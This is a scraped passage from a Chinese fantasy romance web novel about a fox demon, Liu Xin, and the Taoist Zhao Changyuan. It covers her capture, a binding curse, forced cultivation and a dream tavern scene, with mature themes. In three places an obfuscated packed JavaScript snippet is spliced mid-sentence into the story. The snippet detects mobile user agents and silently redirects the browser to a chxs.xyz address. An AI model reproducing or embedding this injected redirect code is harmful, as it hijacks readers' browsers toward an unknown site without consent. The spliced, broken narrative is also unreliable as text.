圆润的肩头像蝴蝶翅膀,渐渐收紧至腰部,紧实的线条纵横如山岗…… 她目光一瞬不瞬地盯着,然而此时水汽飘忽弥漫而来,模糊之间,他已经抬脚坐进了浴桶之中。 水色蒸腾将白玉浸染,渐渐成青粉交融,乌黑长发披散,素日清冷无神之人竟多了几分妖异,他紧皱的眉头微松,向后仰倒,呼出一口浊气,高挺的鼻梁与光滑的下巴勾勒出完美的线条。 柳心不由心猿意马起来,但很快骂醒了自己,现在不是沉溺美色的时候。得找钥匙…… 她从柜子里跳了出来,趁着长垣闭眼的功夫钻进了他散乱的衣服中间,钥匙……钥匙……钥匙…… 在哪儿呢? 地上的衣服凸起一块圆弧蠕动着,随着动作,渐渐露出一条毛茸茸的尾巴,摇摆着。 长垣垂眸,拎着尾巴将柳心抓了起来。 她浑身一颤,心脏扑通扑通跳了起来。完蛋,被发现了。 她剧烈挣扎起来,爪子一抓到他手,长垣不防松了手,她便直直地掉进了水里。 水下清明一片,除了水就是长垣白花花的肉了,衣服里找了,说明他不会贴身携带,那他会把钥匙藏在哪儿呢? 思索的时候,她的尾巴不自觉摇晃着,湿哒哒毛茸茸的东西扫过长垣的身体,他脸色一滞,将柳心从水里捞了出来。 嗷呜嗷呜—— 被长垣再度抓出来,他脸上似乎比之前难看了。或许是因为她抓了他,她讨好地叫了两声,惊讶地发现他身上似乎贴着什么,珍珠衫似的金衣严丝合缝,裹在他身上,像是印在了皮肤上。 她方才在他腰间似乎看到一样金色腰带。 这就是……無法衣? 原来不是穿在外面,而是贴在肌肤上,保护主人…… 她突然想到一个主意,这衣服这么厉害,如果她是长垣,那把钥匙藏在無法衣里面,打个结系上去不就得了。没有什么比这更安全的了。 万妖塔的钥匙会不会也就藏在無法衣内? 正想着,她的头忽然被一双大掌摸了摸,她眯起眼睛,被迫承受着长垣的抚摸。 嗷嗷了两句,表示抗议,长垣没听懂她的话,随手拿过一块糕点掰了一小块给她。 柳心翻了个白眼,没理会他。 长垣又嘬嘬了两声,她怒火更旺,她不是狗好吗!谁要吃他手里的破玩意儿。 长垣看着这狐狸偏过头去一副不理不睬的模样,抿了抿唇,抓过她脖颈淡淡道,“连东西都不会吃了,定然是在野外受了重伤,看来得在我这里待几日才能放你走了。” 柳心心头一紧,现在趁他不防备还好,真要是待上几天她肯定会被长垣看出来的。 这死道士!罢了,她忍! 小狐狸似乎能听懂他的话,嗷呜了一声,他将她托在手臂处,张开手心,它便低下头来舔食那糕点。 温热的小舌划过他的掌心,酥酥的,麻麻的,有一种异样的感觉迅速从掌心传递又迅速溜走。 他盯着那狐狸,目光幽深,不知在想着什么。 柳心觉得背后冷冷的,吃完了糕点,假装闭上眼睛,窝进了他手臂。 一团软乎乎的东西靠在了他怀中,他也闭上了眸子,放松地躺在温热的浴水之中。 柳心听见了均匀的呼吸声,她将脑袋从尾巴里伸出来,看见长垣闭上了眼睛,这才肆意打量起他来。 果然贴进了才看清,他的身上有着细密的纹路,是無法衣的痕迹。 水泡不烂,那火呢? 她又看了一眼长垣,确保他已经睡着,于是在爪心聚了一团紫红火苗,悄悄地贴近了他腰间。 紫色的外焰渐渐贴近,腰间的网衣仿佛提前预知了危险,发出明亮的金光,柳心的心脏几乎要跳出来,她知道这么做有多危险,不过她管不了这么多了,先试一试,就算是被他发现…… 火焰一经接触,那网衣骤然收紧,发出一道金光将火弹了回去,狐狸毛反被火焰灼烧,柳心别那力道重重弹在了地上,紧接着,那网衣便像活过来似的牢牢套在了她头顶。 长垣睁开了眼,穿上了衣服,眼中已经露出了那种熟悉的冷意。 “原来是你。” 無法衣之下,她原形毕露,变回了妖身。 紫红的长发及地,覆盖在修长的身躯上,女子瞳孔呈现淡紫色,带着幽光,紧促的眉头之下试图掩盖着自己对面前这男子的恐惧。 “道长,我是有苦衷的,你听我说。” 那双琉璃一样的玻璃珠里沁出晶莹的泪水,眼尾赤红,白皙小巧的脸上满是凄楚,分外动人。 长垣却似乎心硬如石,她还在用那套妖术对付他,他想。 “妖言惑众,你自入山以来杀了多少人,难道有人逼着你杀人作恶不成?” “我爹爹是大狐妖,他不日前被捉妖师重伤,奄奄一息。我必须段时间内收够大量精气才能救活他,青云山集天地灵气于一山,又香客众多,所以冒险来此。” “撒谎!东流县向来妖孽不敢靠近,更别说青云山捉妖之名广为流传,寻常妖物根本不会来此。你来青云山,处处接近我到底有何目的?” “我喜欢你。” 长垣曜黑的眸子微不可查地晃了晃,有那么一瞬间的失神,他很快定了定心,目光冷冽,“若再胡言乱语,我便要请出掌门的打妖鞭了。” 青云山如今的掌门的师兄赤练当年死于妖怪之手,他对于妖深恶痛绝,杀害妖怪的手段也极为凶残,尤其是魅妖,总要刨根问底妖怪来青云山的目的,若问不出来,便灌入洗妖水,腐蚀肠胃,用打妖鞭使妖皮溃烂,而后生生取出妖丹炼化,使妖灰飞烟灭才肯罢休。 柳心想到这里,不禁打了个寒噤。长垣审视的目光一瞬不瞬地盯着自己,她咽了咽口水,不行,若说出实话,长垣一定知道她想偷钥匙,有了防备,就再难拿到了。 那双漂亮的眸子滴溜溜转了一圈,望向长垣时定了定,“我说的是真的,赵长垣,我喜欢你。” 话音方落,一道带着煞气的鞭子挥了过来,耳垂并左颊为鞭气擦过,留下一道深色的血痕,幽幽散发着炙热的妖气。 她脸色一白,咬住了嘴唇,“你还记得十年前的那个除夕夜,下了好大的雪,我被一条蛇精追赶,中了毒,倒在竹林里,是你把我带回去给我解毒救了我。” 十年前……是他刚刚入青云山的那一年。 除夕夜里,大家都在一起吃饭喝酒,围着师父说说笑笑。他作为最小又新来的弟子,被安排在竹林扫雪。那一年的雪下得很大,足足到了他的膝盖,他双脚冻得僵硬,铲了许久的雪铲出两个血泡,又气又伤心,一边走一边哭。 正好看见一只火红的狐狸躺在雪里,湿漉漉亮晶晶的眸子满是哀求地望着他,一个蛇头从雪里钻了出来,伸着脖子就要落下致命一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056241|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抄起铲子铲断了它的头,将那只狐狸刨了出来。或许是感怀身世,他觉得它和他一样孤单,一样可怜,他把它揣进了自己胸前,一路走回自己的房间,用暖炉暖着,总算僵硬的身体软和了一些。 但还没等它恢复,夜里喂它吃了几块鸡肉睡下,却反被它咬了一口,逃之夭夭。 看着眼前的柳心,那双红色的眸子变得熟悉起来,他心中闪过一丝莫名的情绪,却仍淡淡开口道,“可惜最后被那畜生反咬一口,恩将仇报。” “那是因为我弟弟刚好被你师兄抓住要做烤肉吃……”柳心有些心虚,弱弱道。 “不论是何缘由,妖魔狡诈多诡,不知善恶不知恩义,所以恩将仇报,作恶人间。世间妖物都该尽数诛灭。” “谁说妖便无善恶无恩义?一样有父母朋友之亲,一样有血肉痛快之感,若有不同,不过是你们人的偏见。” 说到此,怒气一上来,她便分毫不让瞪着他说起来。 长垣带着淡淡的嘲讽,“既有同感,为何残害人类,吸□□气?他们的身体之痛,父母之伤,你便又没有感觉了?” “那是他们活该!”柳心冷笑道,“一个为病重的母亲祈福,伤心不能自已,却爬到了别的女人床上。一个法事还没做完,停灵扶柩的功夫就对我说如何爱我,为我掏心挖肺也愿意。薄情寡性,无耻之尤,这种人活在世上也要祸害其他人,留命何用?” 她痛快说完瞥见长垣紧皱的眉头,心中才后悔起来,她收敛起那副锐利的爪牙,缩回了头,细声道,“他们对妻子不忠,对父母不孝,何能为人?我不过是替天行道。” 长垣久久没有说话,只是紧皱着眉头盯着她,似乎要将她身上看出个洞来。 她试探性地抬起头,挪了挪步子,摆出她最擅长的姿态与最完美的神情,低声道,“道长,我是真的喜欢你,不然你跟我……” 话还没说完,一阵巨风卷起,直冲她鼻孔、耳朵、喉咙而来,眼前一黑,接着整个身体天旋地转,她便滚落到了一个陌生漆黑的地方。 ??? 道长? 长垣道长——怎么了? 她扶着膝盖站了起来,在黑暗中摸索着,摸到了一个软乎乎的皮制的东西,她整个人撞了过去,却瞬时被两侧夹击,包裹收紧不能动弹。 柳心咬牙,这是……收妖袋…… 合着她软硬兼施,动之以情晓之以理,他还是要杀了她是吧!这个贱人! “该死的,赵长垣!姑奶奶跟你说了这么多,你都当狗屁了是吧!” “赵长垣,你放我出去!你这个无心无情,是非不分善恶不明,就知道念经修行的破道士!你修的什么破道!成的哪门子圣人!你连基本的同理心都没有,你就是个冷面冷心的怪物!还说我是妖,我看你才是妖怪! 臭道士! ×&%¥#@……” 长垣望着那蠕动的袋子,听着那妖怪的聒噪,皱了皱眉,捻了个决。一道金光飞过,束紧了口袋,那袋子又剧烈响动了几下,很快全然没了声响。 他闭上眼静坐片刻,却仿佛又听见了那妖怪的声音,他睁开了眼,起身将腰间的袋子解下放在了枕下。 满天繁星伴着银河从长垣脚下流过,他坐于石上,脑中满是那道声音。 我喜欢你,喜欢,喜欢…… 喜欢是什么? 是种什么样的感觉? 他喜欢吃栗子糕,喝松针茶,但是若是没有,吃米糕喝清水也可以。丝绸锦缎做的衣裳固然好看,但普通棉布也可以。人活世上,唯有道法真理可追寻,其余皆是身外浮华,对于世上的一切,他都没有过于强烈的好恶,都不曾真正放在心上,所以像那妖怪那样的“喜欢”是种什么样的滋味呢? 15. 渡她 被紧紧包围着的身体终于随着袋子的松懈得到释放,她坐在黑暗里,望着一片漆黑,眼里闪现过赤红、白色、赭色、蓝色…… 她想到了柳言,他那么小,进了万妖塔之后有没有被欺负,过得高不高兴,还记不记得他。 起初她很担忧,几乎不能有片刻安心,但后来随着时间推移,长垣还没有对她做什么,她渐渐睡了过去。 不知过了多久,长垣回来了。 她从梦中惊醒,发现自己正在一片竹林之中,眼前是长垣那张平静无波的面孔。 他向前走了两步,她一把后仰,手上紧紧抓住了一只竹棍。 长垣顿住了脚步,隔着两步的距离伸出了手。 柳心紧张地闭上了眼睛,却感到一股温热的气息在自己身上流淌过,她的伤口开始愈合,带着凉嗖嗖的痛感。 她愣住了,他在干什么? 为她疗伤? 长垣的睫毛很长,又直斜着下来,垂眸时半轮黑瞳看不出情绪,让她的心提了起来。 他一句话也不说,就这么静静地专注地看着她,伤口逐渐愈合,她猜不到眼前人究竟是什么打算,像猫抓老鼠般逗乐,还是要置他于死地…… 她突然恼怒地推开了眼前之人,“你要杀要剐就说个痛快话。” 女子身上原本骇人的伤痕此刻已几乎恢复, 忽而一只镯子套在了她手上,长垣收回了灵力,往溪流间坐下。 “我不杀你。” 柳心莫名看着他,不明白这道士在玩什么把戏。“为什么?” “修行之人,渡己也当渡人,你本性不坏,若能潜心修炼,走上正道,也是好事一件。” 她闻言心中忍不住冷笑,这道士想度化她?她是好是坏几时轮到他来评价?我看度化是假,这道士动了心是真。看来她的话还是管用的,即便他不喜欢她,但女人的倾慕于任何一个男人而言都不是一件坏事,至少不会引起厌恶,道士……也不例外。 不过这是好事,她心里笑着,脸上却依旧是那副表情。 “多谢道长,我以后一定一心向善,绝不伤人分毫。” 柳心貌似感激地看向长垣,而后就要离开,然而刚走出几步路便被一股巨大的力吸了回来,她抓住了手边一棵竹子,脚尖抵在地上才堪堪停住。 她错愕地看向石上那人,“什么东西?你对我做了什么?” 长垣闭目打坐,并未睁开眼。 “你的心太躁,过来随我一同修炼吧。” 她冷哼一声继续向前,却又被那力拉了回来,意识到了不对,她看了看手心多出来的一道竹纹印迹,“这是什么?” “我给你下了禁制,往后我的命令若不遵循,就会像现在这样不能离我半步。” “凭什么!那你岂非对我为所欲为!” “不会是无理的要求,不过让你随我修行而已。” “我是妖,我不修......” 柳心的反驳在长垣的手摸到捉妖袋的那一刻戛然而止,她抿着唇气鼓鼓地瞪着长垣,脚下却听话地朝他走了过去。 “怎么修?” “坐下来,我教你心决,放松身心,摒除杂念,感受天地之气。” 柳心跟着长垣在溪流中的石上坐下,跟着他念着,渐渐长垣已入佳境,她则悄悄睁开了眼,将手伸进水里无聊地划着。 冬日的溪流不如往日那般激切,夹杂着寒冰的水流缓缓抚过圆润的小石,起初是带着点点洒金,渐渐的,日落月初,一片银辉洒在水面。 长垣睁开了眼,身旁的妖怪早已睡得横七竖八,也不嫌硌得慌,侧卧在离他最近的一块石头上,裙摆和鞋子湿了一片。 柳心似是感应到危险,突然张开眼,长垣那双冷得能渗出冰的眸子就在眼前。 她连忙坐起身,恢复到了打坐的姿势,“我...就睡了一小会儿,我一直在默念呢。” 长垣却已从石上走了下来,甩了甩袖子往前面竹林处走去,“已经结束了。” 柳心闻言立刻跳了下来,一个闪现出现在长垣身旁,脸上露出了笑容,“那我可以回去了。” “明日卯时,仍旧在这里,往后也是。” “卯时?天都没亮啊!要不然辰时?” 眼见他手指微动,柳心眼皮一跳,谄笑道:“一日之计在于晨,道长又要修炼又要处理山门事务,确实该这时候练功。卯时好,卯时空气也好,我明日一定准时在此恭候。” 两人穿过竹林,先到了东厢,长垣与柳心分道扬镳,看着长垣离开,柳心对着他背影啐了两口,恨恨躺回了床上。 一连几日,天还不亮,鸡都没叫唤,柳心就爬了起来。常常不愿意走路,迷迷糊糊一个闪现,或是闪到鸡窝里,或是闪到厨房,把小道士吓了一跳,以为自己眼花,却见下一瞬这女子又嗖得消失了。 她听不懂长垣的道术,更不想理会那些叽里呱啦难以理解的话。 所谓日月天地精华,坐上一日还抵不过她抓个人吸上片刻的功力,难怪这些道士修炼一生都不一定得道,说起来这青云山得道成仙的人还在赤练那一辈的上一辈,也不过四五人罢了。 她不由得暗中嗤笑,心中起了旁的心思。 已经好几日了,没抓人也没吸精气,她难受得紧,柳言的事也不能再拖。 日近西斜,交错的竹影覆在长垣身上,他闭目清修,几乎与竹林融为一体。 柳心暗暗离了躯体,分身来到竹林深处,她闻见了人的味道...... 幽沉的琴声在竹林中四散开来,一低一扬,书生寻着琴声绕过曲折的小径,停住了脚步。 集雀振翅,松雪垂落,暗红的裙摆施施曳曳卷起几片落叶。 那女子脸色冻得通红,垂首专注于弦上,手指修长如玉。 似乎注意到来人,她抬起头来,那双眸子便如枯井清潭,水中幽月,盈盈绰绰,摄人心魄。 “公子,识此音否?” 交错的软枝承托着男女颤巍巍摇晃着,朱红万点飘飘洒洒从枝头坠下,落在乌黑的发髻上,一道金光闪出,那些暧昧的花瓣便从身上尽数落在地上,乌靴毫不留情踏过,仰头望着他们,眼中寒意甚雪。 柳心双手垂下,饱满白皙的肌肤上渗出薄汗,带着餍足的倦怠,丝毫没有意识到危险的来临。 这书生是个处子,精气醇厚,可惜就是太瘦了,一点力气没有,下次得换一个...... 正想着,忽而一股力从下而来,树枝断裂,她整个人掉了下来。 哎呦!谁啊! 石上柳心猛然睁开眼,潺潺的流水与竹叶扑簌簌的声音在寂静的竹林中格外明显。身旁的道士锐利的目光盯着她,她不由得心中一紧,咽了口口水。 完了,他发现了。 长垣掌心那团金色的光圈悠悠转动着,似乎下一刻就要朝她圈来。 赶在他动作之前,她按住了他的手。 长垣冷冷甩开她,“为何又要害人?” “我没害他,他没死,不信你去看。” 长垣现在知道了她是妖,她还没蠢到弄死一个人的地步。 “你吸食他的精气,让他身体受损,难道要死了才算害人?” “那书生独自在山里读书,整日幻想着与狐妖鬼怪艳遇,若非我今日帮他他早就憋死了。我出力,他出精气,你情我愿,各取所需的事,怎么叫害人?”柳心说得理直气壮,振振有词,似乎真的不觉得有什么问题。 长垣眉心直跳,忍怒道:“这是无媒苟合,放乱□□,不叫你情我愿,各取所需。” “在床上就行,在树上就不行,有人介绍就是敦伦,你情我愿就是□□?道长,世人若都像你一样古板那天下生灵早都灭绝了。” 柳心翻了个白眼,长垣深吸一口气,决定不再说这个问题,“可你并不喜欢他,他也不喜欢你,你们素未谋面,却行此事,不过是为以歪门邪道提升功力。长此以往,助生不正之风,天下大乱。” “不与你们相同就是歪门邪道吗?道长怎么知道自己所行之道就不是歪门邪道?” “天下人公认,不损人不伤己之道便是正道。你吸人精气,是伤人,出卖自身,是害己,孰正孰邪,了然分明。” 柳心闻言冷笑,“道长还是没弄明白,是正是邪,是好是坏,都不过是从道长你自身出发看待,我与他们欢好,并不觉得折辱,也不觉得羞愧,这个中自有男女滋味,又可提升修为。道长自己不与人事,苦行清修,便以为这对我而言是折辱,是损害。” “长垣道长,以为能左右天下人所思所想,未免太自以为是了。” “冥顽不灵。”长垣冷冷吐出四字,“看来这些天教你清修静心不过徒劳,你也不过曲意奉承,丝毫不知自己所犯罪业,也罢,那我今日便教你知道错在何处。” 长垣念了个口诀,柳心手心的那竹纹印迹忽然闪烁起来,瞬时她感到头疼欲裂,几乎站立不住,像千万只蚂蚁钻进了脑袋里啃噬她的脑浆吸食她的血液,它们四散开来,在每一处啃咬,同时又有人拿着绳索要将她的头颅勒住,几要崩裂开来。 她在地上打着滚,流着泪求饶,“我错了,我错了,道长,是我不对,我不该迷惑那书生,不该用妖术吸他精气.......” 长垣仍在念决,似乎对这个答案并不满意。 柳心连咒骂他的功夫都没有,剧烈的疼痛蔓延到身体各处,她的胃部也开始颤抖,像一块巨石滚入身体里,眩晕疼痛混为一体。 几乎没有思考,她把能想到的最恶毒的词都背了一遍,“我不该随意与男人交合,不该贪功冒进,放荡□□,不顾羞耻,不顾人伦,我不该偷懒不练功,只想着轻松玩乐,我知道错了,我真的知道错了,我以后不会再犯错了,道长饶了我这一次吧......” 柳心疼得眼泪鼻涕直掉,哭得浑身冒汗。 “该饶恕你的不是我。”长垣的声音不疾不徐地飘入她耳边,又迅速从另一只耳朵溜走。 该死的王八蛋!不是他是谁!除了他还有谁这么折磨她?除了他,还有谁将她害得如此凄惨! “道长我错了,我真的知道错了,如若再犯你就直接杀了我,不必再留情,我保证......” 柳心开始大哭起来,那声音尖利凄凉,长垣皱起了眉头,有些后悔选了她这只妖做什么渡人向善的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056242|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蠢事。她根本没想着思考,只是凭借本能想逃避惩罚远离痛苦,一只又坏又蠢还懒的妖...... 担心她的哭嚎将长老和弟子们引来,长垣终于停下了那咒术,冷冷看了她一眼,“天生万物,天神造人,人天生带着罪孽降世,终其一生弥补过错,赎清罪业。旧罪未清,反添新业,对不起的人是你自己,有资格宽恕你的也只有上天。” 那道身影撑在地上剧烈喘息着,闻言身体微微一顿,“什么意思?” 她抬起头,发丝凌乱地贴在面颊上,眼中带着些许复杂的情感,或是不屑或是困惑,“你的意思是我天生有罪,活该一辈子受罪?照你的意思,世间生灵就不该生出来?” 她嗤笑了一声,汗珠贴着鬓边从下颌落下,“那道长今日站在这里又是何故?” 他一个有罪之人又有何资格批判她的罪过? “前世之罪,今生之业,人生于世,便是将上辈子的罪孽还清,以赎罪为毕生事业。长垣七岁丧父,八岁丧母,兄弟俱无,师门亦屠,形单影只,独行于世。亦是前世之罪,罪孽深重。 故而一心向道,不敢辍息。” 柳心望向他的目光颤动了一下,继而故作不屑道,“人死如灯灭,亏你还是个修道的,比我这个妖还信什么前世今生。你自己一人倒霉,一人不顺,不代表所有人都像你这般,不说山下那些大富大贵之家挥金如土,眠花宿柳,一生无忧,便如我,我睡过的男人没有十个也有一千,环肥燕瘦冷热美丑都有,云游四海,来去自如,男女之乐尝遍,修为也比寻常小妖高深。若是换做寻常人类女子,为俗世规矩束缚着,一生只能绑给一个男人,运气好了夫妻和睦,运气不好被打死了都没人收尸。道长倒是说说他们是来赎罪还是来享福?” “无罪有罪,罪有千等。无罪得道成仙,有罪降世为人,罪深多坎坷,罪浅多福泽。但既然为人,必有自己的罪业,贫寒之家以饱暖之忧为苦,富贵之家以纷繁情事为苦,人有人的苦,妖有妖的苦,此生未完,来世仍续,故而人有轮回,仙家无痛。” 长垣漆黑的目光落在了柳心身上,“何况柳姑娘当真无所苦么?” 柳心心中一颤,避开了他的目光,“所以道长赎罪的方式便是折磨我?” “天将降大任于斯人,必先苦其心志,劳其体肤,长垣所为不过为引姑娘心向正道。” “如何算向了正道?” 长垣想了想,“思无邪,气正清,则道成。” ...... “思无邪,气正清~” 柳心如是学着长垣的冰块脸给宋璋看,惹得她笑得端不住手里的茶水。 “他自己都搞不明白怎么修炼,整天念那个经书,叽里呱啦,把那个虚无缥缈的道传给别人,我真是倒了八辈子楣撞上他了!” 她一边说一边挽起袖子伸出手臂给宋璋看,“你看我,你看我这张皮......” 宋璋顺着她所指处看去,原本白皙的手上生出几条血丝,隐约可见,柳心竖了三根手指,痛心疾首道:“三天了!我都三天没吃东西了!” 宋璋笑道:“他不让,你就不会偷吃?” 柳心瞬时一蹦三丈高,“早上天不亮就跟着去竹林坐那块破石头,中午去他那里抄经书,下午他处理完门派事务了又得跟过去清修,他老人家好好坐着,让我砍竹子捡柴火,到半夜才回来。我哪来的功夫偶遇男人去?” “他只想着渡人渡人,拜托,他知不知道我们魅妖天生靠食人淫念精气存活的,再这么下去,我妖魂都要散了,他渡个鬼去啊!” 柳心说着,忽见宋璋下一刻拿了剪刀在指尖划了一个小口,带着香气的血液便嘀哩哩落尽了茶盏中。 “你干嘛?” “除人精气,同类的妖血应该也可以,正好我夫君回来的日子也近了,为保万无一失,便宜你了。” 柳心接过茶盏饮尽,不忘吐槽,“也不知究竟便宜了谁,照你这样伤害自己,能有子嗣就怪了。” “没有就没有吧,妖和人的孩子生出来怕不是个怪物……” 柳心目光微动,“说得倒也是,妖和人注定是没有好下场的。” “我可没这么说,你这是咒我呢——” “喂——” 宋璋不知为什么,柳心的情绪忽而低落下来,她走后柳心早早关上门吹灭了灯,任由窗外的月光铺洒在床上,不像往日一般拉上帘子,她只是合上一层薄薄的纱帘。 月光顺利钻进来,她伸出了双腿,仿佛在竹林的那块石上将脚浸泡在水流里一般。 跟着长垣坐了这么久,她倒有些习惯这冰冷起来。 太过炽热往往灼烧自己,唯有冰冷让人在沉寂中清醒。 然而越是想清醒,越是思索,头脑就越是发热,她觉得浑身都有些滚烫起来,烦躁地起身倒茶,壶里却是干的,她转而拿起宋璋送来的一坛冷酒,咕嘟咕嘟灌了下去。 冰凉的,甜滋滋的酒划过喉头,暂时安抚了躁动的大脑,连那酒坛坠落的碎片划上了手心也未曾感觉到。她只觉得脑中的那团火焰渐渐四散开去,化作一股暖流,向四肢蔓延开去,像溪水划过圆石,轻轻的,缓缓的...... 16. 梦魅 秋雨淅淅沥沥地落着,黑夜茫茫,草野荒荒。萤火纷纷收敛羽翼藏在弯曲的稻穗之下,唯有参天之树无可遮蔽,在风吹雨打之中,纷纷扬扬地带着雨水坠落。酒馆的旗帜已然模糊,几张桌子枯叶满盈,铺洒在地上。 乌靴踩过之处,雨水与枯叶同时发出半润半脆的声音,那双脚步渐渐靠近了酒馆的大门。男人女人调笑的声音伴着明亮的灯火从门缝中钻出,门里门外,荒凉与温热,一扇之隔。他推开了那扇门,带着屋外的寒气与荒凉走进了这里。 侍女小红扎着两个圆嘟嘟的小啾走了过来,上下扫了他一眼,对于这个不速之客的到来有些意外。 “客官,茶饭都卖完了,只有酒肉和酒水......” “那就来一斤牛肉,一壶热酒。” 小红愣了愣,回头望向了后边那桌的女子。她穿着一件坦领绲兔毛边紫衣,一缕青丝从如云的发髻中泻出,垂于胸前,半明半暗之间,玉白如月,丘深如壑。纤细雪白的双手捧着匣子杨晃着,骰子叮叮当当地响动,朱红的单寇如玛瑙白玉,吸引着周遭男子的目光。而这双手的主人的目光正缓缓朝门口的生人转来。 这道士只簪了一根乌木簪,蓝白的素袍单薄,衬出男子挺拔的身姿。他将伞收回,雨水顺着伞骨边缘一滴一滴落在地上,骰子与木壁的撞击,雨水砸落地面,似乎同时在她心中奏演起来。 一个喝酒吃肉的道士。 “心娘,开呀,开呀!” 众人催促的声音让她回过神来,她收回了目光,重又扬起笑脸,将匣子扣在桌上打开。 “三个六,赵公子,你输了,可要罚酒一杯。” “哈哈哈哈,赵三你个臭手,快喝,快喝!” 小红切了牛肉上来,往后厨温酒去,他看着面前的牛肉连筷子也没有拿起,却将一双目光紧紧盯在不远处那团哄闹的人群之中。姑娘的容貌几乎没有变化,还是一样地爱穿红衣,只是还没有后来那般轻佻,寒冬腊月也要穿着纱衣扭着胯走路,她的风情全在举手投足之间,带着些许单纯的稚嫩。 他环视了这酒馆一遭,不愧是这妖女的梦,连梦里都要这许多男人众星捧月地围着她寻欢作乐,还说什么为了自己的弟弟迫不得已,原来早早就劣根深种。 那边赵公子正要罚酒,却发现酒壶空空如也,仰头叫道:“小红拿酒来——”“小红?小红人呢?” “哎哎哎——”小红一面应着,一面从后面走上前来。 “快拿来。” 小红却护着酒壶往长垣处走了去,“这是那位道长要的酒,公子等我一会儿。” 催促着赵三喝酒的王五闻言看了长垣一眼,哼了一声,“道士也喝酒,现在这些和尚道士...假的不能再假......” 他自认声音不大,却没想长垣却听了去,若有所指道:“修道修心,心外无物,酒肉杀生之谨小,贪嗔痴怨□□之邪大。” 王五闻言就要起身,“嘿,你这臭道士......” 赵四家中母亲信道,因拉了王五坐下道:“傻不愣登一臭和尚,念经念傻了,别理他,咱们玩咱们的。小红,拿酒来。” “哎,就来。” 小红斟满酒,场面又热闹起来,玩了两局,众人都要柳心一道猜大小,她拗不过加入进来,果不过两局便输了。 众人都起哄笑,“心娘输了,喝酒,喝酒!” 柳心故作不胜酒力,推辞道:“我都喝了半坛了,实在不行了,各位公子酒量好,该替我多喝几杯才是。” 王五闻言一把接过她手里的酒杯,“我替你喝。”说罢,一饮而尽,王五又笑吟吟拉过柳心坐在他怀中道:“我替你喝了酒,你赏我什么?” 柳心媚眼如丝,“心娘只有这一间酒馆,几两银子罢了,公子说要什么呢?” 王五一手从盘子里拿出一颗樱桃,一边放在她唇边,“不要别的,只要你喂我吃了它。” “这还不简单。”柳心笑着要起身,又被王五拉回仰倒在膝头,“可不是要你用手,好娘子,亲自喂我吧。” 他手指抚过她嘴唇,柳心笑着咬住那颗樱桃,引他来咬那另外半边。忽而一双手将她从王五身上拉了起来,樱桃从她口中坠落,骨碌碌滚至那双乌靴的鞋边,他抬脚踩了上去,嫣红的桃汁印在脚底,渐渐洇开。那道士站在了她身前,她微微皱着眉头。 他想做什么?难道看出了她的妖身,要救这些人? 怀中美人乍空,王五带了些许怒气,推搡了一把长垣。“你有病啊?干什么呢?” 这道士却是纹丝未动,定定站在柳心身前,高高的身子将她大半挡去。 王五扫了他一眼,由怒转笑,“明白了,六根不净,色欲熏心,要英雄救美是吧?” 他一边朝柳心绕着弯走去,一边道,“小道士,你也不打听打听她是谁,柳家酒馆柳心娘,风流貌美,孀居带子,若没有我们照顾她生意,她这酒馆早就倒闭了。 哥几个是好心照顾她,她也是自愿跟我们一道玩乐,有你什么事儿啊?” “心娘,你说是不是?” 女子含笑的声音从背后传来,“是啊道长,有人来酒馆喝酒照顾我生意,我高兴还来不及呢。” 她一面说着,一边从他身后走出往王五身边去,手臂却猛然被道士抓住,紧得她挣脱不开。 她目光带笑,看向长垣,“道长这是何意?莫不是也想让我喂你喝酒?” “不必你喂酒于我,也不必喂与他人。” “道长好意心领了,不劳你费心。” 她拒绝他的“帮忙”,他却仍不松手,王五等人见状都围了过来,目光不善,“臭道士,听不懂人话么?叫你滚开!” 道士巍然不动,固执地走到柳心身前,面对众人,目光平静。 王五是个暴脾气,冷笑一声,抄起拳头砸在了他腹部,他面色一白,欲要用诀却发现无法调动自己的力量。 也对,这里是她的梦,他也变得不可控制起来。 “该走的是你们,苦海无涯,回头是岸。” 这些人自以为占了便宜,沉溺美色,却不知这美丽皮囊下是枯骨玄心,黄土石碑在朝他们招手。 众人见他冥顽不灵,彼此对了个眼神,团团将长垣围了起来。拳头像雨点般袭来,凳子落在肩膀背部,骨头几乎被打断,手上也被花瓶杂出血口。 他嘴角沁出血来,众人这才停手,冷笑着望着他。 他趴在地上,素色的道袍满是黑印,脸上青紫交错,十分狼狈。 柳心已经早早站到了一边,抱臂看着热闹。还以为多能打,原来是个喜欢出头的草包。 王五等人拍了拍手,揽过柳心的腰道,“咱们楼上玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056243|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,把这傻子扔出去。” 柳心笑着应声,走动间的却发现自己的衣角有一股蛮力拽着,她垂下目光,那双指骨分明的大手拉住了她的衣袍。 